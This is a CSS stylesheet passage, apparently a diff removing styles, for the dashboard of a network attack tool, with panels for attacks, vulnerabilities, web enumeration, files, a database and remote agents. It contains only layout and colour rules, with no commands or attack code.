border-color: var(--accent); - color: var(--white); -} - -.vuln-container .vuln-page-btn.disabled { - opacity: .5; - cursor: not-allowed; -} - -.vuln-container .vuln-page-info { - color: var(--muted); - font-size: 13px; -} - -.vuln-container .vuln-modal { - display: none; - position: fixed; - inset: 0; - background: var(--glass-8); - z-index: 1000; -} - -.vuln-container .vuln-modal.show { - display: flex; - align-items: center; - justify-content: center; -} - -.vuln-container .vuln-modal-content { - background: var(--grad-modal); - border-radius: var(--radius); - max-width: 800px; - width: 90%; - max-height: 80vh; - overflow-y: auto; - border: 1px solid var(--c-border-strong); - box-shadow: var(--shadow-hover); -} - -.vuln-container .vuln-modal-header { - padding: var(--gap-4); - border-bottom: 1px solid var(--c-border); - display: flex; - justify-content: space-between; - align-items: center; - position: sticky; - top: 0; - background: var(--grad-quickpanel); - z-index: 1; -} - -.vuln-container .vuln-modal-title { - font-size: 18px; - font-weight: 800; - background: linear-gradient(90deg, var(--accent), var(--accent-2)); - -webkit-background-clip: text; - -webkit-text-fill-color: transparent; -} - -.vuln-container .vuln-modal-close { - background: none; - border: none; - color: var(--muted); - font-size: 24px; - cursor: pointer; -} - -.vuln-container .vuln-modal-body { - padding: var(--gap-4); -} - -/* ---- Attacks module aliases ---- */ -.attacks-container { - display: flex; - gap: 20px; - min-height: calc(100vh - var(--h-topbar) - var(--h-bottombar) - 8px); - align-items: stretch; - --page-sidebar-w: 320px; -} - -.attacks-container .attacks-sidebar { - width: var(--page-sidebar-w); - flex: 0 0 var(--page-sidebar-w); - min-width: 0; - min-height: 100%; - display: flex; - flex-direction: column; - gap: 0; - padding: 0; - overflow: hidden; -} - -.attacks-container .attacks-main { - width: auto; - flex: 1; - min-width: 0; - display: grid; - grid-template-rows: minmax(320px, auto) 1fr; - gap: 10px; - min-height: 0; - border: 1px solid var(--_border); - border-radius: 14px; - background: var(--grad-card); - box-shadow: var(--_shadow); - padding: 10px; -} - -.attacks-container .attacks-main .page-content { - height: 100%; - overflow: auto; -} - -.attacks-container .attacks-search-input { - width: 100%; - padding: 10px 12px; - border-radius: 10px; - border: 1px solid var(--_border); - background: var(--_panel-lo); - color: var(--_ink); -} - -.attacks-container .attacks-categories { - display: flex; - flex-wrap: wrap; - gap: 8px; -} - -.attacks-container .attacks-cat-pill { - border: 1px solid var(--_border); - background: var(--_panel-lo); - color: var(--_ink); - border-radius: 999px; - padding: 6px 10px; - cursor: pointer; - font-weight: 700; - display: inline-flex; - align-items: center; - gap: 6px; -} - -.attacks-container .attacks-cat-pill.active { - background: linear-gradient(135deg, color-mix(in oklab, var(--_acid) 18%, transparent), color-mix(in oklab, var(--_acid2) 12%, transparent)); - border-color: color-mix(in oklab, var(--_acid2) 28%, var(--_border)); -} - -.attacks-container .attacks-cat-pill .pill-count { - opacity: .8; - font-size: 12px; -} - -.attacks-container .attacks-list { - overflow: auto; - min-height: 0; - display: grid; - gap: 8px; -} - -.attacks-container .action-card { - display: grid; - grid-template-columns: auto 1fr auto; - gap: 10px; - align-items: center; - border: 1px solid var(--_border); - background: var(--_panel-lo); - border-radius: 12px; - padding: 8px; - cursor: pointer; - transition: .2s; -} - -.attacks-container .action-card:hover { - transform: translateY(-1px); - box-shadow: var(--_shadow); - background: var(--_panel-hi); -} - -.attacks-container .action-card.selected { - background: color-mix(in oklab, var(--_acid2) 16%, var(--_panel-hi)); - border-color: color-mix(in oklab, var(--_acid2) 35%, var(--_border)); -} - -.attacks-container .action-card-img { - width: 56px; - height: 56px; - border-radius: 10px; - overflow: hidden; - border: 1px solid var(--_border); - background: #0b0e13; - display: grid; - place-items: center; -} - -.attacks-container .action-card-icon { - width: 100%; - height: 100%; - object-fit: cover; -} - -.attacks-container .action-card-name { - font-weight: 800; - color: var(--_ink); -} - -.attacks-container .action-card-desc { - font-size: 12px; - color: var(--_muted); -} - -.attacks-container .action-card-status { - font-size: 11px; - font-weight: 800; - border-radius: 999px; - padding: 3px 8px; - border: 1px solid var(--_border); -} - -.attacks-container .action-card-status.status-running { - background: color-mix(in oklab, var(--warning) 18%, var(--_panel)); - border-color: color-mix(in oklab, var(--warning) 40%, var(--_border)); -} - -.attacks-container .action-card-status.status-ok { - background: color-mix(in oklab, var(--ok) 18%, var(--_panel)); - border-color: color-mix(in oklab, var(--ok) 40%, var(--_border)); -} - -.attacks-container .action-card-status.status-err { - background: color-mix(in oklab, var(--danger) 18%, var(--_panel)); - border-color: color-mix(in oklab, var(--danger) 40%, var(--_border)); -} - -.attacks-container .attacks-detail { - overflow: auto; -} - -.attacks-container .detail-top { - display: grid; - gap: 8px; - margin-bottom: 10px; -} - -.attacks-container .detail-name { - font-size: 18px; - color: var(--_ink); -} - -.attacks-container .detail-meta { - color: var(--_muted); - font-size: 12px; - margin-left: 8px; -} - -.attacks-container .detail-desc { - color: var(--_muted); - font-size: 13px; -} - -.attacks-container .detail-section-label { - color: var(--_muted); - font-size: 12px; - text-transform: uppercase; - letter-spacing: .5px; - font-weight: 700; -} - -.attacks-container .detail-presets, -.attacks-container .detail-args, -.attacks-container .detail-free { - display: grid; - gap: 8px; - margin-bottom: 10px; -} - -.attacks-container .preset-chips { - display: flex; - gap: 8px; - flex-wrap: wrap; -} - -.attacks-container .preset-chip { - border: 1px solid var(--_border); - background: var(--_panel-lo); - color: var(--_ink); - border-radius: 999px; - padding: 5px 10px; - cursor: pointer; -} - -.attacks-container .detail-fields { - display: grid; - grid-template-columns: repeat(auto-fit, minmax(240px, 1fr)); - gap: 10px; -} - -.attacks-container .arg-field { - display: grid; - gap: 6px; -} - -.attacks-container .arg-label { - color: var(--_muted); - font-size: 12px; -} - -.attacks-container .arg-ctl { - width: 100%; - padding: 8px 10px; - border-radius: 10px; - border: 1px solid var(--_border); - background: var(--_panel-lo); - color: var(--_ink); -} - -.attacks-container .arg-range-wrap { - display: grid; - grid-template-columns: 1fr auto; - gap: 8px; - align-items: center; -} - -.attacks-container .arg-range-val { - color: var(--_muted); - font-size: 12px; - min-width: 34px; - text-align: right; -} - -.attacks-container .detail-free-input { - width: 100%; - padding: 8px 10px; - border-radius: 10px; - border: 1px solid var(--_border); - background: var(--_panel-lo); - color: var(--_ink); -} - -.attacks-container .detail-actions { - display: flex; - gap: 8px; - flex-wrap: wrap; -} - -.attacks-container .attacks-console { - display: grid; - grid-template-rows: auto 1fr; - min-height: 0; -} - -.attacks-container .attacks-log { - overflow: auto; - min-height: 180px; - max-height: 48vh; - border: 1px solid var(--_border); - border-radius: 10px; - background: var(--grad-console); - padding: 10px; - font-family: ui-monospace, SFMono-Regular, Menlo, Consolas, monospace; -} - -.attacks-container .log-line { - white-space: pre-wrap; - word-break: break-word; - font-size: 12px; - padding: 2px 0; -} - -.attacks-container .log-ok { - color: #9ff7c5; -} - -.attacks-container .log-warn { - color: #ffd27a; -} - -.attacks-container .log-err { - color: #ff99b3; -} - -.attacks-container .log-info { - color: #bfefff; -} - -.attacks-container .log-dim { - color: #7f97a8; -} - -@media (max-width: 1100px) { - .attacks-container.page-with-sidebar { - flex-direction: row; - } - - .attacks-container.page-with-sidebar .attacks-main { - min-width: 0; - } -} - -@media (max-width: 900px) { - .attacks-container.page-with-sidebar .attacks-main { - grid-template-rows: auto auto; - } -} - -/* ========================================================================== - SPA class compatibility aliases (visual parity with web_old) - ========================================================================== */ - -/* ---- Dashboard aliases ---- */ -.dashboard-container .grid-stack { - display: grid; - gap: var(--gap); -} - -.dashboard-container .state { - display: inline-flex; - align-items: center; -} - -.dashboard-container .key { - color: var(--_ink); - font-weight: 600; -} - -.dashboard-container .naked { - background: transparent; - box-shadow: none; - border: 0; -} - -/* ---- NetKB aliases ---- */ -.netkb-container .netkb-content { - min-height: 0; -} - -.netkb-container .netkb-empty { - border: 1px dashed var(--c-border-strong); - border-radius: 12px; - padding: 16px; - color: var(--muted); - text-align: center; - background: var(--panel); -} - -.netkb-container .badge-header { - display: block; - margin-bottom: 4px; -} - -.netkb-container .badge-status { - display: block; -} - -.netkb-container .badge-timestamp { - display: block; - margin-top: 4px; -} - -/* ---- Files module aliases ---- */ -.files-container .files-breadcrumb, -.files-container .files-toolbar { - border: 1px solid var(--_border); - border-radius: 12px; - background: color-mix(in oklab, var(--_panel) 90%, transparent); - box-shadow: var(--_shadow); - backdrop-filter: blur(12px); - -webkit-backdrop-filter: blur(12px); -} - -.files-container .files-breadcrumb { - display: flex; - flex-wrap: wrap; - align-items: center; - gap: 6px; - padding: 8px 10px; -} - -.files-container .files-bc-item { - display: inline-flex; - align-items: center; - gap: 6px; - padding: 4px 8px; - border-radius: 8px; - border: 1px solid var(--_border); - background: color-mix(in oklab, var(--_panel) 96%, transparent); - color: var(--_ink); - cursor: pointer; -} - -.files-container .files-bc-item:hover { - filter: brightness(1.06); -} - -.files-container .files-bc-sep { - color: var(--_muted); -} - -.files-container .files-toolbar { - display: flex; - gap: 8px; - flex-wrap: wrap; - align-items: center; - padding: 8px; -} - -.files-container .global-search-input { - flex: 1; - min-width: 220px; - padding: 10px 12px; - border-radius: 10px; - border: 1px solid var(--_border); - background: color-mix(in oklab, var(--_panel) 96%, transparent); - color: var(--_ink); -} - -.files-container .global-search-input:focus { - outline: none; - border-color: color-mix(in oklab, var(--_acid2) 35%, var(--_border)); - box-shadow: 0 0 0 3px color-mix(in oklab, var(--_acid2) 18%, transparent); -} - -.files-container .vuln-btn { - border: 1px solid var(--_border); - background: color-mix(in oklab, var(--_panel) 92%, transparent); - color: var(--_ink); - border-radius: 10px; - padding: 8px 10px; - cursor: pointer; - font-weight: 700; -} - -.files-container .vuln-btn:hover { - filter: brightness(1.06); -} - -.files-container .btn-sm { - padding: 4px 6px; - font-size: 12px; -} - -.files-container .btn-danger { - border-color: color-mix(in oklab, var(--danger) 40%, var(--_border)); - color: color-mix(in oklab, var(--danger) 80%, var(--_ink)); -} - -.files-container .files-table-list { - border: 1px solid var(--_border); - border-radius: 12px; - overflow: auto; - background: color-mix(in oklab, var(--_panel) 90%, transparent); - box-shadow: var(--_shadow); -} - -.files-container .files-row { - display: grid; - grid-template-columns: 40px minmax(180px, 1fr) 120px 170px 140px; - align-items: center; - gap: 8px; - padding: 8px 10px; - border-bottom: 1px solid var(--_border); -} - -.files-container .files-header { - position: sticky; - top: 0; - z-index: 2; - font-weight: 800; - background: color-mix(in oklab, var(--_panel) 98%, transparent); -} - -.files-container .files-row.files-dir:hover, -.files-container .files-row.files-file:hover { - background: color-mix(in oklab, var(--_acid2) 10%, transparent); -} - -.files-container .files-cell { - min-width: 0; -} - -.files-container .files-name { - overflow: hidden; - text-overflow: ellipsis; - white-space: nowrap; -} - -.files-container .files-size, -.files-container .files-date { - color: var(--_muted); -} - -.files-container .files-actions { - display: inline-flex; - gap: 6px; - justify-content: flex-end; -} - -.files-container .sortable { - cursor: pointer; - user-select: none; -} - -.files-container .db-status { - color: var(--_muted); - font-size: 12px; - padding: 4px 2px; -} - -/* ========================================================================== - SPA runtime compatibility aliases (modules that use new class names) - ========================================================================== */ - -.muted { - color: var(--muted); -} - -/* ---- Actions Studio runtime aliases ---- */ -.studio-container:not(.studio-runtime-host) { - display: grid; - grid-template-columns: minmax(300px, 340px) 1fr; - gap: 10px; - min-height: calc(100vh - var(--h-topbar) - var(--h-bottombar) - 12px); -} - -.studio-container:not(.studio-runtime-host) .studio-sidebar { - border: 1px solid var(--st-border, var(--c-border)); - border-radius: 12px; - background: var(--st-panel, var(--c-panel-2)); - box-shadow: var(--shadow); - display: grid; - grid-template-rows: auto 1fr; - overflow: hidden; - min-height: 0; -} - -.studio-container:not(.studio-runtime-host) .sidebar-header { - padding: 10px; - border-bottom: 1px dashed var(--st-border, var(--c-border)); - display: grid; - gap: 8px; -} - -.studio-container:not(.studio-runtime-host) .sidebar-list { - padding: 10px; - overflow: auto; - display: grid; - gap: 8px; -} - -.studio-container:not(.studio-runtime-host) .sidebar-item { - border: 1px solid var(--st-border, var(--c-border)); - border-radius: 10px; - background: var(--st-card, var(--c-panel)); - padding: 8px; - cursor: pointer; - transition: .18s; -} - -.studio-container:not(.studio-runtime-host) .sidebar-item:hover { - transform: translateX(2px); - box-shadow: var(--shadow); -} - -.studio-container:not(.studio-runtime-host) .sidebar-item.active { - outline: 2px solid color-mix(in oklab, var(--accent-2, #18f0ff) 45%, transparent); -} - -.studio-container:not(.studio-runtime-host) .sidebar-item-name { - font-weight: 700; -} - -.studio-container:not(.studio-runtime-host) .sidebar-item-meta, -.studio-container:not(.studio-runtime-host) .sidebar-item-info, -.studio-container:not(.studio-runtime-host) .sidebar-empty { - color: var(--muted); - font-size: 12px; -} - -.studio-container:not(.studio-runtime-host) .sidebar-delete-btn { - justify-self: end; -} - -.studio-container:not(.studio-runtime-host) .studio-main { - border: 1px solid var(--st-border, var(--c-border)); - border-radius: 12px; - background: var(--st-panel, var(--c-panel-2)); - box-shadow: var(--shadow); - padding: 10px; - display: grid; - grid-template-rows: auto 1fr; - gap: 10px; - min-height: 0; -} - -.studio-container:not(.studio-runtime-host) .studio-toolbar { - display: flex; - gap: 8px; - align-items: center; - flex-wrap: wrap; -} - -.studio-container:not(.studio-runtime-host) .toolbar-spacer { - flex: 1; -} - -.studio-container:not(.studio-runtime-host) .studio-btn { - border: 1px solid var(--st-border, var(--c-border-strong)); - background: var(--st-card, var(--c-panel)); - color: var(--st-text, var(--ink)); - border-radius: 10px; - padding: 8px 10px; - cursor: pointer; - font-weight: 700; -} - -.studio-container:not(.studio-runtime-host) .studio-btn:hover { - transform: translateY(-1px); - box-shadow: var(--shadow); -} - -.studio-container:not(.studio-runtime-host) .studio-panels { - display: grid; - grid-template-columns: 1.2fr .8fr; - gap: 10px; - min-height: 0; -} - -.studio-container:not(.studio-runtime-host) .studio-editor, -.studio-container:not(.studio-runtime-host) .studio-preview { - border: 1px solid var(--st-border, var(--c-border)); - border-radius: 12px; - background: var(--st-card, var(--c-panel)); - padding: 10px; - overflow: auto; - min-height: 0; -} - -.studio-container:not(.studio-runtime-host) .editor-form { - display: grid; - gap: 10px; -} - -.studio-container:not(.studio-runtime-host) .editor-section { - border: 1px solid var(--st-border, var(--c-border)); - border-radius: 10px; - padding: 10px; - background: var(--st-card2, var(--c-panel-2)); -} - -.studio-container:not(.studio-runtime-host) .section-title { - font-size: 12px; - text-transform: uppercase; - letter-spacing: .3px; - color: var(--muted); - margin-bottom: 8px; - font-weight: 700; -} - -.studio-container:not(.studio-runtime-host) .form-row { - display: grid; - grid-template-columns: 1fr 1fr; - gap: 10px; -} - -.studio-container:not(.studio-runtime-host) .form-group { - display: grid; - gap: 6px; -} - -.studio-container:not(.studio-runtime-host) .field-label { - color: var(--muted); - font-size: 12px; -} - -.studio-container:not(.studio-runtime-host) .studio-input, -.studio-container:not(.studio-runtime-host) .studio-select, -.studio-container:not(.studio-runtime-host) .studio-textarea { - width: 100%; - border: 1px solid var(--st-border, var(--c-border-strong)); - border-radius: 10px; - background: var(--st-bg, var(--c-panel)); - color: var(--st-text, var(--ink)); - padding: 8px 10px; -} - -.studio-container:not(.studio-runtime-host) .studio-textarea { - min-height: 110px; - resize: vertical; -} - -.studio-container:not(.studio-runtime-host) .studio-input:focus, -.studio-container:not(.studio-runtime-host) .studio-select:focus, -.studio-container:not(.studio-runtime-host) .studio-textarea:focus { - outline: none; - box-shadow: 0 0 0 2px color-mix(in oklab, var(--accent-2, #18f0ff) 35%, transparent); -} - -.studio-container:not(.studio-runtime-host) .args-list, -.studio-container:not(.studio-runtime-host) .req-list { - display: grid; - gap: 8px; -} - -.studio-container:not(.studio-runtime-host) .arg-row, -.studio-container:not(.studio-runtime-host) .req-row { - border: 1px solid var(--st-border, var(--c-border)); - border-radius: 10px; - padding: 8px; - background: var(--st-card, var(--c-panel)); -} - -.studio-container:not(.studio-runtime-host) .arg-row-header, -.studio-container:not(.studio-runtime-host) .req-row-header { - display: flex; - justify-content: space-between; - gap: 8px; - align-items: center; - margin-bottom: 6px; -} - -.studio-container:not(.studio-runtime-host) .arg-row-title { - font-weight: 700; -} - -.studio-container:not(.studio-runtime-host) .arg-row-body, -.studio-container:not(.studio-runtime-host) .req-p1, -.studio-container:not(.studio-runtime-host) .req-p2 { - display: grid; - gap: 8px; -} - -.studio-container:not(.studio-runtime-host) .arg-name, -.studio-container:not(.studio-runtime-host) .arg-type, -.studio-container:not(.studio-runtime-host) .arg-default, -.studio-container:not(.studio-runtime-host) .arg-desc, -.studio-container:not(.studio-runtime-host) .arg-required, -.studio-container:not(.studio-runtime-host) .req-type { - width: 100%; -} - -.studio-container:not(.studio-runtime-host) .full-width { - grid-column: 1 / -1; -} - -.studio-container:not(.studio-runtime-host) .json-preview { - margin: 0; - border: 1px solid var(--st-border, var(--c-border)); - border-radius: 10px; - background: var(--grad-console); - color: var(--ink); - padding: 10px; - min-height: 240px; - white-space: pre-wrap; - word-break: break-word; -} - -.studio-container:not(.studio-runtime-host) .dirty-indicator { - color: var(--warning); - font-weight: 700; -} - -@media (max-width: 1100px) { - .studio-container { - grid-template-columns: 1fr; - } - - .studio-container .studio-panels { - grid-template-columns: 1fr; - } -} - -/* ---- Web Enum runtime aliases ---- */ -.webenum-container .webenum-controls { - display: grid; - gap: 10px; - border: 1px solid var(--c-border); - border-radius: 12px; - background: var(--grad-card); - padding: 10px; - box-shadow: var(--shadow); -} - -.webenum-container .stats-bar { - display: grid; - grid-template-columns: repeat(auto-fit, minmax(150px, 1fr)); - gap: 10px; -} - -.webenum-container .stats-bar .stat-item { - background: var(--grad-card); - border-radius: 12px; - padding: 10px 12px; - text-align: center; - border: 1px solid var(--c-border); - box-shadow: var(--elev); - display: grid; - gap: 6px; - justify-items: center; -} - -.webenum-container .stats-bar .stat-value { - font-size: 26px; - font-weight: 800; - background: linear-gradient(90deg, var(--accent), var(--accent-2)); - -webkit-background-clip: text; - -webkit-text-fill-color: transparent; -} - -.webenum-container .stats-bar .stat-label { - color: var(--muted); - font-size: 12px; -} - -.webenum-container .global-search-container { - flex: 1; - min-width: 220px; - position: relative; -} - -.webenum-container .global-search-input { - width: 100%; - height: var(--control-h); - padding: 0 36px 0 var(--control-pad-x); - border: 1px solid var(--c-border-strong); - border-radius: var(--control-r); - background: var(--c-panel); - color: var(--ink); -} - -.webenum-container .global-search-input:focus { - outline: none; - border-color: var(--accent); - box-shadow: 0 0 0 2px color-mix(in oklab, var(--accent) 28%, transparent); -} - -.webenum-container .clear-global-button { - position: absolute; - right: 8px; - top: 50%; - transform: translateY(-50%); - border: none; - background: none; - color: var(--danger); - cursor: pointer; - display: none; -} - -.webenum-container .clear-global-button.show { - display: inline-block; -} - -.webenum-container .webenum-filters { - display: flex; - gap: 8px; - flex-wrap: wrap; - align-items: center; -} - -.webenum-container .webenum-main-actions { - display: flex; - gap: 8px; - align-items: center; -} - -.webenum-container .webenum-filter-select, -.webenum-container .webenum-date-input { - border: 1px solid var(--c-border-strong); - border-radius: 10px; - background: var(--c-panel); - color: var(--ink); - padding: 8px 10px; -} - -.webenum-container .webenum-export-btns { - display: flex; - gap: 8px; - flex-wrap: wrap; -} - -.webenum-container .vuln-btn { - border: 1px solid var(--c-border); - background: var(--c-panel); - color: var(--ink); - border-radius: var(--control-r); - padding: 8px 12px; - cursor: pointer; -} - -.webenum-container .vuln-btn:hover { - box-shadow: 0 0 0 1px var(--c-border-hi) inset, 0 8px 22px var(--glow-weak); -} - -.webenum-container .webenum-status-legend { - display: flex; - gap: 8px; - flex-wrap: wrap; - margin-top: 2px; -} - -.webenum-container .webenum-table-wrap { - border: 1px solid var(--c-border); - border-radius: 12px; - background: var(--grad-card); - box-shadow: var(--shadow); - overflow: auto; -} - -.webenum-container .table-inner { - min-width: 100%; -} - -.webenum-container .webenum-table { - width: 100%; - border-collapse: collapse; -} - -.webenum-container .webenum-table th, -.webenum-container .webenum-table td { - padding: 8px 10px; - border-bottom: 1px dashed var(--c-border); - text-align: left; -} - -.webenum-container .webenum-table th { - position: sticky; - top: 0; - background: var(--c-panel); - z-index: 2; -} - -.webenum-container .webenum-row:hover { - background: color-mix(in oklab, var(--accent-2) 10%, transparent); -} - -.webenum-container .webenum-link { - color: var(--accent-2); - text-decoration: none; -} - -.webenum-container .webenum-link:hover { - text-decoration: underline; -} - -.webenum-container .webenum-dir-cell { - font-family: ui-monospace, SFMono-Regular, Menlo, Consolas, monospace; -} - -.webenum-container .webenum-pagination { - display: flex; - gap: 8px; - align-items: center; - justify-content: center; - flex-wrap: wrap; - margin-top: 8px; -} - -.webenum-container .webenum-perpage-wrap { - display: inline-flex; - gap: 6px; - align-items: center; -} - -.webenum-container .webenum-perpage { - border: 1px solid var(--c-border); - border-radius: 8px; - background: var(--c-panel); - color: var(--ink); - padding: 4px 8px; -} - -.webenum-container .modal-detail-section { - margin-bottom: 12px; -} - -.webenum-container .modal-section-title { - font-weight: 700; - margin-bottom: 4px; - color: var(--accent-2); -} - -.webenum-container .modal-section-text { - color: var(--ink); - line-height: 1.45; -} - -.webenum-container .webenum-modal-actions { - display: flex; - gap: 8px; - justify-content: flex-end; - margin-top: 8px; - flex-wrap: wrap; -} - -.webenum-container .page-loading { - padding: 18px; - color: var(--muted); - text-align: center; -} - -.webenum-container .vuln-modal { - display: none; - position: fixed; - inset: 0; - background: var(--glass-8); - z-index: 1000; -} - -.webenum-container .vuln-modal.show { - display: flex; - align-items: center; - justify-content: center; -} - -.webenum-container .vuln-modal-content { - background: var(--grad-modal); - border-radius: 12px; - max-width: 800px; - width: 90%; - max-height: 80vh; - overflow-y: auto; - border: 1px solid var(--c-border-strong); - box-shadow: var(--shadow-hover); -} - -.webenum-container .vuln-modal-header { - padding: 12px; - border-bottom: 1px solid var(--c-border); - display: flex; - justify-content: space-between; - align-items: center; - position: sticky; - top: 0; - background: var(--grad-quickpanel); - z-index: 1; -} - -.webenum-container .vuln-modal-title { - font-size: 18px; - font-weight: 800; -} - -.webenum-container .vuln-modal-close { - background: none; - border: none; - color: var(--muted); - font-size: 24px; - cursor: pointer; -} - -.webenum-container .vuln-modal-body { - padding: 12px; -} - -/* ---- Zombieland runtime aliases ---- */ -.zombieland-container .zl-toolbar { - display: flex; - justify-content: space-between; - gap: 10px; - flex-wrap: wrap; - padding: 10px; - border: 1px solid var(--c-border); - border-radius: 12px; - background: var(--grad-card); - box-shadow: var(--shadow); -} - -.zombieland-container.page-with-sidebar { - --page-sidebar-w: 360px; -} - -.zombieland-container.page-with-sidebar .zl-sidebar { - min-height: 0; -} - -.zombieland-container.page-with-sidebar .zl-main { - min-width: 0; - display: flex; - flex-direction: column; - gap: 12px; -} - -.zombieland-container.page-with-sidebar .zl-main .zl-main-grid { - min-height: 0; -} - -.zombieland-container.page-with-sidebar .zl-main .zl-logs-panel { - min-height: 200px; -} - -.zombieland-container .zl-toolbar-left { - display: flex; - gap: 8px; - align-items: center; - flex: 1; - min-width: 220px; -} - -.zombieland-container .zl-toolbar-right { - display: flex; - gap: 8px; - flex-wrap: wrap; -} - -.zombieland-container .zl-search-input, -.zombieland-container .zl-cmd-input, -.zombieland-container .zl-target-select, -.zombieland-container .zl-card-cmd-input { - border: 1px solid var(--_border); - border-radius: 10px; - background: color-mix(in oklab, var(--_panel) 95%, transparent); - color: var(--_ink); - padding: 8px 10px; -} - -.zombieland-container .zl-search-input { - flex: 1; -} - -.zombieland-container .zl-main-grid { - display: grid; - grid-template-columns: 2fr 1fr; - gap: 12px; - min-height: 0; -} - -.zombieland-container .zl-console-panel, -.zombieland-container .zl-agents-panel, -.zombieland-container .zl-logs-panel { - border: 1px solid var(--_border); - border-radius: 12px; - background: color-mix(in oklab, var(--_panel) 90%, transparent); - box-shadow: var(--_shadow); - overflow: hidden; -} - -.zombieland-container .zl-panel-header { - padding: 8px 10px; - border-bottom: 1px dashed var(--_border); - display: flex; - justify-content: space-between; - gap: 8px; - align-items: center; -} - -.zombieland-container .zl-panel-title { - font-weight: 800; - color: var(--_ink); -} - -.zombieland-container .zl-quickbar { - display: flex; - gap: 6px; - flex-wrap: wrap; -} - -.zombieland-container .zl-quick-cmd, -.zombieland-container .zl-btn { - border: 1px solid var(--_border); - border-radius: 10px; - background: var(--_panel-lo); - color: var(--_ink); - padding: 6px 9px; - cursor: pointer; -} - -.zombieland-container .zl-btn-sm { - border: 1px solid var(--_border); - border-radius: 8px; - background: var(--_panel-lo); - color: var(--_ink); - padding: 4px 7px; - cursor: pointer; -} - -.zombieland-container .zl-btn-send { - border: 1px solid var(--_border); - border-radius: 10px; - background: color-mix(in oklab, var(--_acid2) 22%, var(--_panel-lo)); - color: var(--_ink); - padding: 8px 10px; - cursor: pointer; -} - -.zombieland-container .zl-console-output, -.zombieland-container .zl-logs-output { - min-height: 220px; - max-height: 42vh; - overflow: auto; - padding: 10px; - font-family: ui-monospace, SFMono-Regular, Menlo, Consolas, monospace; - background: var(--grad-console); -} - -.zombieland-container .zl-console-input-row { - display: grid; - grid-template-columns: minmax(120px, 220px) 1fr auto; - gap: 8px; - padding: 10px; - border-top: 1px dashed var(--_border); -} - -.zombieland-container .zl-agents-list { - display: grid; - gap: 8px; - padding: 10px; - max-height: 56vh; - overflow: auto; -} - -.zombieland-container .zl-agent-card { - border: 1px solid var(--_border); - border-radius: 12px; - background: var(--_panel-lo); - padding: 8px; - display: grid; - gap: 6px; -} - -.zombieland-container .zl-agent-card.pulse { - box-shadow: 0 0 0 2px color-mix(in oklab, var(--_acid2) 35%, transparent); -} - -.zombieland-container .zl-card-header { - display: flex; - justify-content: space-between; - gap: 8px; - align-items: center; -} - -.zombieland-container .zl-card-identity { - display: flex; - gap: 6px; - align-items: center; - min-width: 0; -} - -.zombieland-container .zl-card-id { - font-weight: 700; -} - -.zombieland-container .zl-card-hostname { - color: var(--muted); - white-space: nowrap; - overflow: hidden; - text-overflow: ellipsis; -} - -.zombieland-container .zl-card-info { - display: grid; - gap: 3px; -} - -.zombieland-container .zl-info-row { - display: flex; - gap: 6px; - align-items: center; -} - -.zombieland-container .zl-info-label { - color: var(--muted); - font-size: 12px; - min-width: 78px; -} - -.zombieland-container .zl-card-actions, -.zombieland-container .zl-card-cmd-row { - display: flex; - gap: 6px; - flex-wrap: wrap; -} - -.zombieland-container .zl-btn-card-send, -.zombieland-container .zl-btn-shell, -.zombieland-container .zl-btn-remove { - border: 1px solid var(--_border); - border-radius: 8px; - background: var(--_panel-hi); - color: var(--_ink); - padding: 5px 8px; - cursor: pointer; -} - -.zombieland-container .zl-btn-remove { - color: color-mix(in oklab, var(--danger) 80%, var(--_ink)); -} - -.zombieland-container .zl-empty { - color: var(--muted); - text-align: center; - padding: 18px; -} - -.zombieland-container .zl-empty-icon { - display: block; - font-size: 26px; - margin-bottom: 6px; - opacity: .8; -} - -.zombieland-container .zl-ecg-row { - display: flex; - gap: 8px; - align-items: center; -} - -.zombieland-container .zl-ecg-counter { - color: var(--muted); - font-size: 12px; -} - -.zombieland-container .console-target { - color: var(--muted); -} - -@media (max-width: 1100px) { - .zombieland-container .zl-main-grid { - grid-template-columns: 1fr; - } -} - -/* ---- Database runtime aliases ---- */ -.db-container .db-main { - display: grid; - grid-template-columns: minmax(240px, 300px) 1fr; - gap: 12px; - min-height: 0; - flex: 1; -} - -.db-container .db-sidebar { - border: 1px solid var(--c-border); - border-radius: 12px; - background: var(--grad-card); - box-shadow: var(--shadow); - padding: 10px; - overflow: auto; -} - -.db-container .db-toolbar { - display: flex; - gap: 8px; - align-items: center; - flex-wrap: wrap; - margin-bottom: 10px; -} - -.db-container .db-sidebar-filter, -.db-container .db-limit-select { - border: 1px solid var(--c-border); - border-radius: 8px; - background: var(--c-panel); - color: var(--ink); - padding: 6px 8px; -} - -.db-container .db-actions { - display: flex; - gap: 8px; - flex-wrap: wrap; -} - -.db-container .db-tree-group { - display: grid; - gap: 8px; -} - -.db-container .db-tree-icon { - width: 16px; - display: inline-flex; - justify-content: center; -} - -.db-container .db-tree-label { - white-space: nowrap; - overflow: hidden; - text-overflow: ellipsis; -} - -.db-container .db-thead, -.db-container .db-tbody { - display: table-row-group; -} - -.db-container .db-th, -.db-container .db-td { - display: table-cell; -} - -.db-container .db-th-sel, -.db-container .db-td-sel { - width: 44px; - text-align: center; -} - -.db-container .db-cell { - max-width: 420px; - white-space: nowrap; - overflow: hidden; - text-overflow: ellipsis; -} - -.db-container .db-live-label { - color: var(--muted); - font-size: 12px; -} - -.db-container .db-danger { - color: var(--danger); -} - -@media (max-width: 1100px) { - .db-container .db-main { - grid-template-columns: 1fr; - } -} - -.db-container.page-with-sidebar { - --page-sidebar-w: 300px; -} - -.db-container.page-with-sidebar .db-sidebar { - padding: 0; - display: flex; - flex-direction: column; -} - -.db-container.page-with-sidebar .db-main { - display: flex; - flex-direction: column; - gap: 10px; - min-width: 0; -} - -.db-container.page-with-sidebar .db-table-wrap { - min-height: 280px; -} - -/* ---- Vulnerabilities runtime aliases ---- */ -.vuln-container .page-loading { - padding: 16px; - color: var(--muted); - text-align: center; -} - -.vuln-container .host-severity-pills { - display: flex; - gap: 6px; - flex-wrap: wrap; -} - -.vuln-container .host-vuln-info { - display: grid; - gap: 4px; -} - -.vuln-container .meta-label { - color: var(--muted); - font-size: 12px; -} - -.vuln-container .meta-value { - color: var(--ink); - font-size: 13px; -} - -.vuln-container .vuln-actions { - display: flex; - gap: 8px; - flex-wrap: wrap; -} - -.vuln-container .vuln-affected-table { - width: 100%; - border-collapse: collapse; -} - -.vuln-container .vuln-affected-table th, -.vuln-container .vuln-affected-table td { - padding: 8px; - border-bottom: 1px dashed var(--c-border); - text-align: left; -} - -.vuln-container .vuln-affected-row:hover { - background: color-mix(in oklab, var(--accent-2) 10%, transparent); -} - -.vuln-container .vuln-ref-link { - color: var(--accent-2); - text-decoration: none; -} - -.vuln-container .vuln-ref-link:hover { - text-decoration: underline; -} - 